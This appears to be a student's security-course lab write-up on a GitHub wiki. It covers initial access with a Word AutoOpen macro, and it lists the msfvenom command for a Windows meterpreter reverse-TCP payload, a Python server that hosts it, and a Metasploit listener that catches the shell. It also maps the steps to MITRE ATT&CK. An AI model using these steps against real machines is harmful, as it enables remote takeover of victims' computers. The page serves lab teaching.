Week 5 ‐ Initial Access and Execution (Task 1) - sophialevasseur/SEC-335 GitHub Wiki

😱Main DOC 😱

image

🌲Steps🌲

1. Open Word and navigate to View > Macros > View Macros

image

2. Enter "AutoOpen" as the Macro Name and click Create

image

3. In the VBA editor, delete the default content and paste the provided macro code

4. Replace the placeholder IP address (YOUR_ACTUAL_IP) with the IP address of your attack VM

image

5. Set up your Metasploit listener to receive the connection

  • msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=6666 -f exe > RAT.exe
  • cd ~/Desktop
  • python3 -m http.server 8000
image

6. Click the Play button in the VBA editor to execute the macro

image

7. Verify that a shell session is established in Metasploit

  • msfconsole -q
  • use exploit/multi/handler
  • set payload windows/x64/meterpreter/reverse_tcp
  • set LHOST 10.0.17.49
  • set LPORT 6666
  • exploit -j
image

8. Kill the Metasploit session and restart the listener for subsequent tasks

  • sessions -k 1
image

9. Launcher.exe in the documents folder on windows:

image

Submission💯

image
  1. A video showing the VBA editor with your macro code being pasted
  2. A video of the macro executing and the download occurring
  3. A video of the Meterpreter session being established in Metasploit
  4. An explanation of how this macro achieves code execution, and the MITRE ATT&CK technique ID.

❓Questions❓

  1. Why is the "AutoOpen" macro name significant?
    • The AutoOpen macro name is significant because it automatically runs after you open a document.
  2. What defensive measures can organizations implement to block macro-based attacks?
    • Deactivating default macros that are not needed
    • Make sure that users can't re-enable macros that were manually turned off
    • Macro privileges
    • Ensure macros can't contain sensitive information
  3. MTIRE ATT&CK technique ID:
Step Technique MTIRE ATT&CK ID
Macro Execution Spearphishing T1566.001
Payload Download Ingress Tool Transfer T1105
Execution via Office Macro User execution: malicious files T1204.002
WScript.Shell Execution command and scripting interpreter T1059
Writing to Documents Folder Hide artifacts T1564

Resources:

⚠️ **GitHub.com Fallback** ⚠️